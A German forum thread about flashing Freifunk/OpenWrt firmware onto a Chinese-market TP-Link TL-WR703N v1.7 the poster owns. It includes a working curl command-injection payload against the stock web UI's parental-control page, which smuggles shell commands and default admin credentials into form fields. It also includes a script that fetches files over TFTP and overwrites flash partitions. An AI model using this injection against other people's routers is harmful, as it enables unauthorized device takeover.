TP-Link 703n v1.7 "cn" flashen mittels WebUI-Exploit

Hat jemand nen plan wie man einen Gluon auf das Ding bekommt ???

g12884

Muss ich den Lötkolben bemühen und mir eine Serielle Schnittstelle Basteln ?
UNd wie komme ich mit TFTP auf das „im China Original“ Modus… Stock image…

p12788

lg

Für den oberen Text sagt der Android-Google-Übersetzer: Die hochgeladene Dateiversion stimmt nicht mit dem Modell überein.
Ob das jetzt hilft, weiß ich auch nicht… :slight_smile:

Hallo,

unter TP-Link TL-WR703N [Old OpenWrt Wiki] findest du vielleicht hilfe.

Obacht: TP-Link hat von vielen Geräten „cn“-Varianten.

Das ist dann wie mit dem VW-Passat, der trotz gleichen Modelljahrs unterschiedliche Platformen nutzt (abhängig von US, EU oder CN)

Bei TP-Link: Die CN-Geräte haben oft kein Linux/OpenWRT, sondern VxWorks. Und da das deutlich kompakter ist, reicht dann 1/2 des Flash-Speichers.
Verräterisch ist „fehlendes EC, dafür CCC-Logo“ auf dem Label.

Einige Refurbisher, die .cn-Geräte aufarbeiten „zur Nutzung mit Linux/zum Export“ rüsten dann in der Regel auch größes SPI und größeres RAM nach.
In der Regel gibt es dann auch einen ziemlich nerdigen uboot (mit Webconsole und Overclocking-Optionen)

siehe auch

Ich Paste mal meinen Text aus der Rundmail :slight_smile:

Hallo Liste,

Ich hab hier einen oben gennannten router aus China…
Original Firrmware ist Chinesisch/Japanisch…

Laut Router ist das ein Vers. 1.7 heist nach logik Tp-Link Firmware 1.x,
also auch auf der Bremem freifunk seite auch v1 geladen und nach suchen auch das
Uploadfeld gefunden und ich bekomme Fehler 18001 !

Der Router selber gibt folgende Infos im Webpanel

3.17.4 140120 Rel.56593n

Hab auch die OpenWRT.org besucht und auch versucht ein OpenWRT/LEDE zu installieren
um dann evtl. die FF software zu laden als Update… Diese wird auch nicht angenommen…

Hab auch ein Workaround gefunden was mit hilfe eines Exploids und TFTP dem Router die Daten für das erste
Image reinschiebt… dieses wird auch nicht angenommen…
Auch ein Flash.sh script habe ich gefunde und dieses mal unter linux mal gestartet…
Dieses teilt die Firmware in 2 Hälften( wenn man dies so sagen kann oder in Boot und System )
und soll es dann Hochladen, voll automatisch… Dieses geht auch nicht…

Hat jemand noch eine Idee für den China Router oder hat jemand schon gleiche erfahrungen gemacht???

Ich hoffe das ich dieses problem nun deutlich beschreiben konnte

lg

Du hast aber schon gelesen, was ich da oben geschrieben habe, oder?
Auch wenn im Openwrt-Wiki steht, es gäbe keine Unterschiede: Ich glaube angesicht des so „verschiedenen“ UIs nicht dran.

Hallo…
Hab gerade Kopschmerzen…

Also unter Linux ausprobiert nach den Curl und Tftp Anleitungen…
und nun zuletzt unter Windoof…

Ich Stelle fest das bei Eintragrung in die Parentarel… dingens danach mit tftp loslegen sollte…

Tut er irgenwie nicht… weil mein TFTP server keine Logs schreibt wo irgenwelche dateien angefordert wurden…
Gegentest auch gemacht und mit einem programm eine datei vom Tftp geholt , ergo TFTP server in ordnung…

lg

Nun Update:
Ich bin mal mit fischem Kopf nochmal beigegangen… nach

Anleitiung abschnitt für 1.7…

Der holt sich die aa Datei

Log von TFTP-Server

Connection received from 192.168.1.1 on port 35233 [20/04 11:17:54.492]
Read request for file . Mode octet [20/04 11:17:54.492]
Using local port 56005 [20/04 11:17:54.492]
: sent 1 blk, 225 bytes in 0 s. 0 blk resent [20/04 11:17:54.493]

Aber führt sie nicht aus !
Weil wenn die ausgefürt würde, würde ich mehr logs im TFTP finden

aa
cd /tmp
tftp -gl i1 192.168.1.9
tftp -gl i2 192.168.1.9
tftp -gl busybox 192.168.1.9
chmod 755 busybox
./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync
./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync
./busybox reboot -f

Er führt sieh nicht aus, weil es für den Router keinen Sinn ergibt, eine kaputte Datei zu flashen. Zumindest nimmt er (zu recht an), dass ein 225-byte-Block keine gültige Firmware enthalten kann.

Zumindest das Log (wenn das „alles“ ist) sagt: TFTP gescheitert.

Ob es am client oder am Server oder am Packetloss auf der Leitung liegt: Musst Du schauen.

Die basis das der Router sich selber die datei holen will ist dieser Exploid

curl -o - -b „tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=“ --referer „http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1“ „http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20i1%20192.168.1.9;&url_2=;tftp%20-gl%20i2%20192.168.1.9;&url_3=;tftp%20-gl%20busybox%20192.168.1.9;&url_4=;chmod%20755%20busybox;&url_5=;tftp%20-gl%20bb%20192.168.1.9;&url_6=;chmod%20777%20bb;&url_7=;bb;&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=��+��

darufhin wird der Router aktiv und will sich die datei runterlade…

vlt. existier auch nicht das /tmp vezeichniss ???

Siehe hier die anleitiung wenn Router auf 192.168.1.1 und PC auf 192.168.1.9

Nachrag:

Hab mal eben den Exploid erweitert:
Log von TFTP

Connection received from 192.168.1.1 on port 33169 [20/04 12:14:37.674]
Read request for file . Mode octet [20/04 12:14:37.674]
Using local port 64465 [20/04 12:14:37.674]
: sent 2049 blks, 1048576 bytes in 1 s. 0 blk resent [20/04 12:14:38.588]
Connection received from 192.168.1.1 on port 53571 [20/04 12:14:38.596]
Read request for file . Mode octet [20/04 12:14:38.596]
Using local port 64466 [20/04 12:14:38.596]
: sent 5633 blks, 2883584 bytes in 3 s. 0 blk resent [20/04 12:14:41.121]
Connection received from 192.168.1.1 on port 37051 [20/04 12:14:41.129]
Read request for file . Mode octet [20/04 12:14:41.129]
Using local port 64467 [20/04 12:14:41.130]
: sent 3310 blks, 1694608 bytes in 1 s. 0 blk resent [20/04 12:14:42.590]
Connection received from 192.168.1.1 on port 35753 [20/04 12:14:42.611]
Read request for file . Mode octet [20/04 12:14:42.611]
Using local port 64468 [20/04 12:14:42.612]
: sent 1 blk, 225 bytes in 0 s. 0 blk resent [20/04 12:14:42.613]

Basis auf log

curl -o - -b „tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=“ --referer „http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1“ „http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20i1%20192.168.1.9;&url_2=;tftp%20-gl%20i2%20192.168.1.9;&url_3=;tftp%20-gl%20busybox%20192.168.1.9;&url_4=;chmod%20755%20busybox;&url_5=;tftp%20-gl%20aa%20192.168.1.9;&url_6=;chmod%20755%20bb;&url_7=;sh%20aa;&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=��+��

Also denke er sendet und empfängt…
aber die sh aa wird nicht ausgeführt…

Noch eine idee ??? :slight_smile:

Ok hab das ding geflasht…
schuld war das Dateisystem

http://dos2unix.sourceforge.net/

Ich finde diese Erklärung ehrlich gesagt ziemlich dürftig.
Was genau ist schief gegangen?
Und warum trifft es gerade dieses Gerät?

Also diese aa Datei hatte ich unter Windows mit dem Editor erstellt
und soein Problem hatte ich damals auch mit meiner OpenSim installation auf meinem server bis mich jemand gefragt hatte ob ich diese Shell datei mit einem WIndoof editor oder mit vi oder nano erstellt hatte…
Sowas hatte ich noch in den Kommentaren gelesen vom dem letzten Tutorial…

As mentioned in the guide, make sure your aa file is created with Unix type of End of Line instead of Windows type.
Windows uses carriage return and line feed (“\r\n”) as a line ending, which Unix uses just line feed (“\n”).
The wrong type of End of Line will cause the aa script not to execute.
You can use this (http://dos2unix.sourceforge.net/) to convert your aa file.
Alternatively, you can download the aa file (remember to unzip it).

Daraufhin löschte ich meine aa Datei und hab sie unter Linux angelegt… und Diese dann auf mein WIndows System gelegt… ( Letzer versuch war unter windows nach Langer Zeit und Probieren)

Danach ging es dann auch…

Ich verstehe gar nicht, warum es überhaupt dieses Exploits bedarf.
Aber vermutlich macht das Gerät (noch) kein Pushbutton-TFTP und das Webinterface ist so vermurkst, dass man über einen GUI-Exploit das am Einfachsten hinbekommt.

(Dass Du das Remote-script dazu erstmal lokal auf die Platte legen musst, das war aus der ersten Version der Anleitung nicht klar geworden. das „aa“ in der ersten Zeile sah aus wie „Teil der Datei“ und nicht wie deren Name)

ja nun kann ich z.B. in den 3020 einen Surftick einsetzen, dahinter der 703n und alles an die Powerbank

Akkuverbauch: also eine 2000 milliampere Powerbank macht dann mindestend 4 - 6 Stunden Freifunkknoten über Mobiles Internet…

Also Grillparte im Park steh nichts im wege… wenn dann noch ein schwaches Freifunk oder jemand sein W-Lan** Offen hat dann stell ich den 3020er auf Bridge :slight_smile:

**
Kann z.B. aus einem Cafe sein , oder wenn ein Inhaber ermittelbar ist fragen :slight_smile:

lg

Für „mobiles Flashen“ mit dem Laptop auf den Knien haben sich Powerbanks in der Tat bewährt.
Besser als USB 5v->12V-Regler „aus dem Laptop“.
Ich würde aber drigend empfehlen, während des Flashens externe Verbraucher (wie z.B. einen Surfstick am USB-Host des zu flashenden Routers) abzuziehen.
Ganz einfach weil beim Flashen doch relativ viel Strom benötigt wird und man das Risko „bei Akkuversorgung“ schlicht minimiert, wenn man alles absteckt, was gerade nicht benötigt wird.

Aber das ist natürlich eine persönliche Präferenz. Oder wenn man die Erfahrung gesammelt hat, „dass es reicht“, dann kann man es natürlich auch lassen.

Ist doch schon alles geflasht… geht hier

ja nun kann ich z.B. in den 3020 einen Surftick einsetzen, dahinter der 703n und alles an die Powerbank

nur darum das ich dann den 3020 als Internetanbindung nutzen und dahinter der 703n kommt um daraus Freifunk zu machen :slight_smile:

Flachen tu ich nur in sicherer umgebung… ( USB Travo z.B.)

lg

„Flashen über einen zweiten schon existierenden/laufen Freifunk-Knoten“: ist eine schwierige Sache, da TFTP eben leider UDP ist.
Und bei Packetloss wird es schnell sehr böse.
Wir hatten das in Frankfurt (ffm) mal probiert aber wieder aufgegeben, da man gefühlt 10 Anläufe brauchte bis ein 841er mal „fertig“ war, sich das recovery-Image aus dem laufen FF-Clientnetz zu ziehen.